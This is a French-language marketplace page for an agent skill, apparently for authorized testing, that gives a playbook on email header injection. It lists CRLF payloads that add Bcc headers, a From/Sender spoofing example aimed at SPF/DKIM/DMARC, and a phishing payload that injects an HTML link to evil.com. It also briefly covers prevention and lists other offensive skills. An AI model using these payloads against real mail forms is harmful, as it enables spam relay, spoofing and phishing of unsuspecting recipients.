yaklang/email-header-injection

Playbook d'injection et d'usurpation d'en-têtes email. À utiliser lors des tests de formulaires de contact, d'API email, de flux de réinitialisation de mot de passe ou de toute fonctionnalité construisant des messages SMTP avec des champs contrôlés par l'utilisateur. Couvre l'injection CRLF dans les en-têtes, le contournement SPF/DKIM/DMARC et l'amplification de phishing.

Qu'est-ce que email-header-injection ?

Ce skill est un playbook d'injection et d'usurpation d'en-têtes email, conçu pour les tests de sécurité des applications web et des API qui construisent des messages SMTP. Il est utile pour identifier les vulnérabilités où des champs contrôlés par l'utilisateur (sujet, expéditeur, destinataire) permettent d'injecter des en-têtes supplémentaires via des séquences CRLF (%0d%0a). Le playbook couvre trois domaines principaux : l'injection CRLF directe pour ajouter des en-têtes comme `Cc` ou `Bcc`, les techniques de contournement des mécanismes d'authentification SPF/DKIM/DMARC pour améliorer la délivrabilité des emails usurpés, et l'amplification de phishing en intégrant des liens ou pièces jointes malveillants. Il est compatible avec des outils comme Burp Suite, la CLI `yak` et d'autres plateformes d'analyse de sécurité. Le skill fournit des étapes claires, des exemples d'en-têtes et des commandes pour tester chaque type d'attaque, aidant ainsi les développeurs et agents IA à sécuriser leurs systèmes de messagerie.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/email-header-injection

Installed? Explore more Développement et programmation skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Que fait email-header-injection ?

Playbook d'injection et d'usurpation d'en-têtes email. À utiliser lors des tests de formulaires de contact, d'API email, de flux de réinitialisation de mot de passe ou de toute fonctionnalité construisant des messages SMTP avec des champs contrôlés par l'utilisateur. Couvre l'injection CRLF dans les en-têtes, le contournement SPF/DKIM/DMARC et l'amplification de phishing.

Objectif

Identifier et exploiter les vulnérabilités d'injection d'en-têtes dans les emails. Cela permet d'ajouter des en-têtes arbitraires, de contourner les protections SPF/DKIM/DMARC, ou d'amplifier des attaques de phishing.

Plateformes compatibles

  • Burp Suite (Repeater, Intruder)
  • CLI yak (via yak run)
  • Scripts personnalisés avec la bibliothèque yak

Préparation

  1. Identifiez les endpoints qui construisent des emails avec des entrées utilisateur (formulaires de contact, inscriptions, réinitialisations).
  2. Interceptez la requête avec Burp ou un proxy équivalent.
  3. Notez les champs potentiellement injectables : subject, from, to, cc, bcc, reply-to.

Techniques

1. Injection CRLF dans les en-têtes

Ajoutez des séquences CRLF (%0d%0a ou \r\n) dans les champs pour injecter de nouveaux en-têtes.

Exemple avec subject :

subject=Test%0d%0aCc:%[email protected]%0d%0aBcc:%[email protected]

Résultat : L'email est envoyé avec les en-têtes Cc et Bcc supplémentaires.

Test avec yak :

yak run -f payload.yak --target http://target.com/contact

2. Contournement SPF/DKIM/DMARC

Manipulez l'en-tête From pour usurper une adresse légitime, tout en utilisant des techniques de contournement des contrôles.

Exemple :

From: [email protected]%0d%0aSender: [email protected]

Explication : L'en-tête Sender peut être ignoré par certains serveurs, tandis que From est utilisé pour l'affichage. Certains serveurs appliquent moins strictement SPF/DKIM/DMARC.

Test : Envoyez l'email vers un compte contrôlé pour vérifier la délivrabilité.

3. Amplification de phishing

Injectez des en-têtes pour inclure des liens de phishing ou des pièces jointes.

Exemple :

subject=Urgent%0d%0aContent-Type:%20multipart/mixed;%20boundary="boundary123"%0d%0a%0d%0a--boundary123%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<a%20href="http://evil.com/phish">Cliquez%20ici</a>%0d%0a--boundary123--

Résultat : L'email contient un lien malveillant masqué dans un contenu HTML.

Exemples de payloads

Type de payloadExemple
Injection CRLF simplesubject=Test%0d%0aBcc:%[email protected]
Contournement SPF[email protected]%0d%[email protected]
Amplification phishingsubject=Re:%20Facture%0d%0aContent-Type:%20text/html;%20charset="UTF-8"%0d%0a%0d%0a<a%20href="http://evil.com">Facture</a>

Détection et prévention

  • Validation des entrées : Échappez ou rejetez les séquences CRLF dans les champs utilisateur.
  • Utilisation de bibliothèques sécurisées : Privilégiez des bibliothèques email qui échappent automatiquement les en-têtes.
  • Authentification renforcée : Appliquez strictement SPF, DKIM et DMARC.

Références

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Skills associés